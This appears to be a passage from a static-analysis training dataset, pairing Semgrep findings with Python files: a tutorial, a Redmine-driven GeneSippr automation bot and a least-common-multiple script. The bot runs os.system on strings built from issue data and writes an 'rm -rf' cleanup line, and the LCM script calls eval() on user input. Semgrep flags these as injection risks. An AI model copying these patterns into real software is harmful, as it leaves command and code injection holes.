[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_68747e6e729272b1_40a4728f", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 79, "line_end": 79, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/68747e6e729272b1.py", "start": {"line": 79, "col": 9, "offset": 2239}, "end": {"line": 79, "col": 22, "offset": 2252}, "extra": {"message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_68747e6e729272b1_e3fbf336", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant n.is_alive() because n.is_alive is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 101, "line_end": 101, "column_start": 46, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/68747e6e729272b1.py", "start": {"line": 101, "col": 46, "offset": 2932}, "end": {"line": 101, "col": 56, "offset": 2942}, "extra": {"message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant n.is_alive() because n.is_alive is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_68747e6e729272b1_8b8e42c9", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 105, "line_end": 105, "column_start": 13, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/68747e6e729272b1.py", "start": {"line": 105, "col": 13, "offset": 3018}, "end": {"line": 105, "col": 26, "offset": 3031}, "extra": {"message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_68747e6e729272b1_18867d73", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant cell.is_alive() because cell.is_alive is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 150, "line_end": 150, "column_start": 20, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/68747e6e729272b1.py", "start": {"line": 150, "col": 20, "offset": 4084}, "end": {"line": 150, "col": 33, "offset": 4097}, "extra": {"message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant cell.is_alive() because cell.is_alive is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_68747e6e729272b1_f9a0eefd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 164, "line_end": 164, "column_start": 13, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/68747e6e729272b1.py", "start": {"line": 164, "col": 13, "offset": 4458}, "end": {"line": 164, "col": 32, "offset": 4477}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
5
true
[ "", "", "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability", "maintainability", "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 79, 101, 105, 150 ]
[ 79, 101, 105, 150 ]
[ 9, 46, 13, 20 ]
[ 22, 56, 26, 33 ]
[ "", "", "", "" ]
[ "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant n.is_alive() because n.is_alive is always true.", "Is \"is_alive\" a function or an at...
[ 5, 5, 5, 5 ]
[ "", "", "", "" ]
[ "", "", "", "" ]
life.py
/life.py
deathlyfrantic/games-of-life
BSD-2-Clause
2024-11-18T18:05:58.611109+00:00
1,546,151,271,000
a40009afc2fe45b0a0a8f30471896d9849ffc57d
4
{ "blob_id": "a40009afc2fe45b0a0a8f30471896d9849ffc57d", "branch_name": "refs/heads/master", "committer_date": 1546151271000, "content_id": "a85ca994b5aa1f1663511c84f08cdee0e07ddd3f", "detected_licenses": [ "MIT" ], "directory_id": "46d721d8ccc4c70b440320f634b32969a937fd61", "extension": "py", "filename": "app.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 115848093, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1349, "license": "MIT", "license_type": "permissive", "path": "/deployment/examples/app.py", "provenance": "stack-edu-0054.json.gz:568911", "repo_name": "MikeBild/introduction-python", "revision_date": 1546151271000, "revision_id": "cb26bd08d3923c668148a0f8dce08526a4672244", "snapshot_id": "1686883cb410eb12f73f5fc3bbf18ad8ace7c7d3", "src_encoding": "UTF-8", "star_events_count": 4, "url": "https://raw.githubusercontent.com/MikeBild/introduction-python/cb26bd08d3923c668148a0f8dce08526a4672244/deployment/examples/app.py", "visit_date": "2021-10-09T15:09:53.910443" }
3.75
stackv2
#!/usr/bin/env python3 # Simple types boolean = True and False string = 'Hello World!' integer = 0 complex = 0j float = 0.0 none = None print('Simple:', string) # Sequences list = [1, 'a', 0.0] tuple = (1, 'a', 0.0) dictionary = { 'key1': 'value 1', 'key2': 'value 2' } immutable_set = set(['a', 'b']) for item in list: # continue # break print(item) # Conditions if list: print('Is a list') elif not list: print('Is not a list') else: print('What else ;-)') something = '123' if list else '456' # Function definition def my_function(name='Mike'): """A 'Hello World!' function""" return 'Hello ' + name print("Output:", my_function('John')) # DocString help(my_function.__doc__) # Lambda my_func = lambda name='Mike': 'Hello ' + name print("Output:", my_func('John')) # Input/Output input = input("Input please: ") print('Output:', input) # Class class Parent(object): value = 0 __private_value = 0 def __init__(self, value = 100): self.__private_value = value self.value = value + value def getInstance(self): return self def getPrivateValue(self): return self.__private_value parent = Parent(10) print(dir(parent)) print('Class:', parent.value, parent.getPrivateValue()) # Module import sys print('Module Search Path:', sys.path) from sys import path print('Module Search Path:', path)
76
16.75
55
9
398
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_5af65d5b16d6cc72_5dea3b0d", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 31, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/5af65d5b16d6cc72.py", "start": {"line": 48, "col": 31, "offset": 748}, "end": {"line": 48, "col": 46, "offset": 763}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "" ]
[ "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 48 ]
[ 48 ]
[ 31 ]
[ 46 ]
[ "" ]
[ "`return` only makes sense inside a function" ]
[ 5 ]
[ "" ]
[ "" ]
app.py
/deployment/examples/app.py
MikeBild/introduction-python
MIT
2024-11-18T18:05:58.858841+00:00
1,512,579,339,000
6f34cc872c1ab543bca3c9b907be9aba77c80fd5
3
{ "blob_id": "6f34cc872c1ab543bca3c9b907be9aba77c80fd5", "branch_name": "refs/heads/master", "committer_date": 1512579339000, "content_id": "04d63eaed1e4799994a767c8e3cde534555d4e84", "detected_licenses": [ "MIT" ], "directory_id": "69190e914331e3b7dc7604fc7d34b14bb8ec8906", "extension": "py", "filename": "GeneSippr.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 104122313, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7120, "license": "MIT", "license_type": "permissive", "path": "/GeneSippr.py", "provenance": "stack-edu-0054.json.gz:568913", "repo_name": "lowandrew/GeneSippr_Automator", "revision_date": 1512579339000, "revision_id": "d703d1b8aebbb38f18619b3a8eb7879e8fcac8db", "snapshot_id": "c64c3c15b728d8fab0a449a1b63895f9f181036b", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/lowandrew/GeneSippr_Automator/d703d1b8aebbb38f18619b3a8eb7879e8fcac8db/GeneSippr.py", "visit_date": "2021-08-23T21:33:35.834778" }
2.53125
stackv2
from RedmineAPI.Utilities import FileExtension, create_time_log import shutil import os from RedmineAPI.Access import RedmineAccess from RedmineAPI.Configuration import Setup from Utilities import CustomKeys, CustomValues class Automate(object): def __init__(self, force): # create a log, can be written to as the process continues self.timelog = create_time_log(FileExtension.runner_log) # Key: used to index the value to the config file for setup # Value: 3 Item Tuple ("default value", ask user" - i.e. True/False, "type of value" - i.e. str, int....) # A value of None is the default for all parts except for "Ask" which is True # custom_terms = {CustomKeys.key_name: (CustomValues.value_name, True, str)} # *** can be more than 1 *** custom_terms = dict() # Create a RedmineAPI setup object to create/read/write to the config file and get default arguments setup = Setup(time_log=self.timelog, custom_terms=custom_terms) setup.set_api_key(force) # Custom terms saved to the config after getting user input # self.custom_values = setup.get_custom_term_values() # *** can be multiple custom values variable, just use the key from above to reference the inputted value *** # self.your_custom_value_name = self.custom_values[CustomKeys.key_name] # Default terms saved to the config after getting user input self.seconds_between_checks = setup.seconds_between_check self.nas_mnt = setup.nas_mnt self.redmine_api_key = setup.api_key # Initialize Redmine wrapper self.access_redmine = RedmineAccess(self.timelog, self.redmine_api_key) self.botmsg = '\n\n_I am a bot. This action was performed automatically._' # sets bot message # Subject name and Status to be searched on Redmine self.issue_title = 'genesippr' # must be a lower case string to validate properly self.issue_status = 'New' def timed_retrieve(self): """ Continuously search Redmine in intervals for the inputted period of time, Log errors to the log file as they occur """ import time while True: # Get issues matching the issue status and subject found_issues = self.access_redmine.retrieve_issues(self.issue_status, self.issue_title) # Respond to the issues in the list 1 at a time while len(found_issues) > 0: self.respond_to_issue(found_issues.pop(len(found_issues) - 1)) self.timelog.time_print("Waiting for the next check.") time.sleep(self.seconds_between_checks) def respond_to_issue(self, issue): """ Run the desired automation process on the inputted issue, if there is an error update the author :param issue: Specified Redmine issue information """ self.timelog.time_print("Found a request to run. Subject: %s. ID: %s" % (issue.subject, str(issue.id))) self.timelog.time_print("Adding to the list of responded to requests.") self.access_redmine.log_new_issue(issue) try: issue.redmine_msg = "Beginning the process for: %s" % issue.subject self.access_redmine.update_status_inprogress(issue, self.botmsg) ########################################################################################## os.makedirs('/mnt/nas/bio_requests/' + str(issue.id)) # Remember the directory we're in. work_dir = '/mnt/nas/bio_requests/' + str(issue.id) current_dir = os.getcwd() des = issue.description.split('\n') seqids = list() for item in des: item = item.upper() seqids.append(item.rstrip()) f = open(work_dir + '/seqid.txt', 'w') for seqid in seqids: f.write(seqid + '\n') f.close() os.chdir('/mnt/nas/MiSeq_Backup') cmd = 'python2 /mnt/nas/MiSeq_Backup/file_extractor.py {}/seqid.txt {}'.format(work_dir, work_dir) os.system(cmd) os.chdir(current_dir) f = open('Sippr.sh') lines = f.readlines() f.close() f = open(work_dir + '/' + str(issue.id) + '.sh', 'w') for line in lines: if 'job_%j' in line: line = line.replace('job', 'biorequest_' + str(issue.id) + '_job') f.write(line) f.write('docker run -i -u $(id -u) -v /mnt/nas/bio_requests/8312/newsixteens/targets/:/targets' ' -v {}:/sequences sipprverse geneSipprV2/sipprverse/method.py -s /sequences -t /targets /sequences\n'.format(work_dir)) f.write('cd /mnt/nas/bio_requests/{}\n'.format(str(issue.id))) f.write('python upload_file.py {}\n'.format(str(issue.id))) f.write('rm -rf *.fastq* */*fastq* *.fasta RedmineAPI running_logs *json upload_file.py') f.close() shutil.copy('upload_file.py', work_dir + '/upload_file.py') shutil.copytree('RedmineAPI', work_dir + '/RedmineAPI') # Submit the batch script to slurm. cmd = 'sbatch {}'.format(work_dir + '/' + str(issue.id) + '.sh') os.system(cmd) ########################################################################################## self.completed_response(issue) except Exception as e: import traceback self.timelog.time_print("[Warning] The automation process had a problem, continuing redmine api anyways.") self.timelog.time_print("[Automation Error Dump]\n" + traceback.format_exc()) # Send response issue.redmine_msg = "There was a problem with your request. Please create a new issue on" \ " Redmine to re-run it.\n%s" % traceback.format_exc() # Set it to feedback and assign it back to the author self.access_redmine.update_issue_to_author(issue, self.botmsg) def completed_response(self, issue): """ Update the issue back to the author once the process has finished :param issue: Specified Redmine issue the process has been completed on """ # Assign the issue back to the Author self.timelog.time_print("Assigning the issue: %s back to the author." % str(issue.id)) issue.redmine_msg = "Your GeneSippr request has been sent to the OLC Compute Cluster for processing." \ " This issue will be updated once results are available." # Update author on Redmine self.access_redmine.update_issue_to_author(issue, self.botmsg) # Log the completion of the issue including the message sent to the author self.timelog.time_print("\nMessage to author - %s\n" % issue.redmine_msg) self.timelog.time_print("Completed Response to issue %s." % str(issue.id)) self.timelog.time_print("The next request will be processed once available")
139
50.22
140
21
1,557
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ada93e3c599f09bc_8e98b2e3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 17, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ada93e3c599f09bc.py", "start": {"line": 83, "col": 17, "offset": 3846}, "end": {"line": 83, "col": 51, "offset": 3880}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_ada93e3c599f09bc_5968388b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 89, "line_end": 89, "column_start": 13, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/ada93e3c599f09bc.py", "start": {"line": 89, "col": 13, "offset": 4143}, "end": {"line": 89, "col": 27, "offset": 4157}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ada93e3c599f09bc_32c91287", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 17, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ada93e3c599f09bc.py", "start": {"line": 91, "col": 17, "offset": 4208}, "end": {"line": 91, "col": 33, "offset": 4224}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ada93e3c599f09bc_9ed0b112", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 94, "line_end": 94, "column_start": 17, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ada93e3c599f09bc.py", "start": {"line": 94, "col": 17, "offset": 4297}, "end": {"line": 94, "col": 66, "offset": 4346}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_ada93e3c599f09bc_3abc03ba", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 109, "line_end": 109, "column_start": 13, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/ada93e3c599f09bc.py", "start": {"line": 109, "col": 13, "offset": 5330}, "end": {"line": 109, "col": 27, "offset": 5344}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
5
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 89, 109 ]
[ 89, 109 ]
[ 13, 13 ]
[ 27, 27 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "Found dynamic conte...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
GeneSippr.py
/GeneSippr.py
lowandrew/GeneSippr_Automator
MIT
2024-11-18T18:06:00.349183+00:00
1,592,291,030,000
9ea54ae4c590f4199e1d99b096429cbb0f1fb704
4
{ "blob_id": "9ea54ae4c590f4199e1d99b096429cbb0f1fb704", "branch_name": "refs/heads/master", "committer_date": 1592291030000, "content_id": "9dcbbd296612a5efc0257d563e0bdbb440a7103a", "detected_licenses": [ "MIT" ], "directory_id": "18c5d373e52fab2f0541f0b2b3fda5043910732b", "extension": "py", "filename": "4-最小公倍数.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 245140997, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 475, "license": "MIT", "license_type": "permissive", "path": "/Week 6/4-最小公倍数.py", "provenance": "stack-edu-0054.json.gz:568932", "repo_name": "BleShi/PythonLearning-CollegeCourse", "revision_date": 1592291030000, "revision_id": "9a5439a243f0b1d509caaa996b2c1df4921140cb", "snapshot_id": "a405bbae8538ef2a410fc63b1720b4f8121a1878", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/BleShi/PythonLearning-CollegeCourse/9a5439a243f0b1d509caaa996b2c1df4921140cb/Week 6/4-最小公倍数.py", "visit_date": "2021-02-18T00:34:51.723717" }
3.984375
stackv2
# 用户输入两个正整数,求他们的最小公倍数。 num1 = eval(input("请输入第一个数字: ")) num2 = eval(input("请输入第二个数字: ")) if num1<= 0 or num2 <= 0: print("两个数必须是正整数") exit(0) if num1>num2: max=num1 min=num2 else: max=num2 min=num1 for i in range(1,min+1): numtemp=max*i if numtemp % min == 0: numresult=numtemp break print("最小公倍数是:",numresult)
22
15.73
32
9
144
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_cd8d8c484902d7b2_21239cde", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 8, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/cd8d8c484902d7b2.py", "start": {"line": 2, "col": 8, "offset": 71}, "end": {"line": 2, "col": 51, "offset": 114}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_cd8d8c484902d7b2_96e7fced", "tool_name": "semgrep", "rule_id": 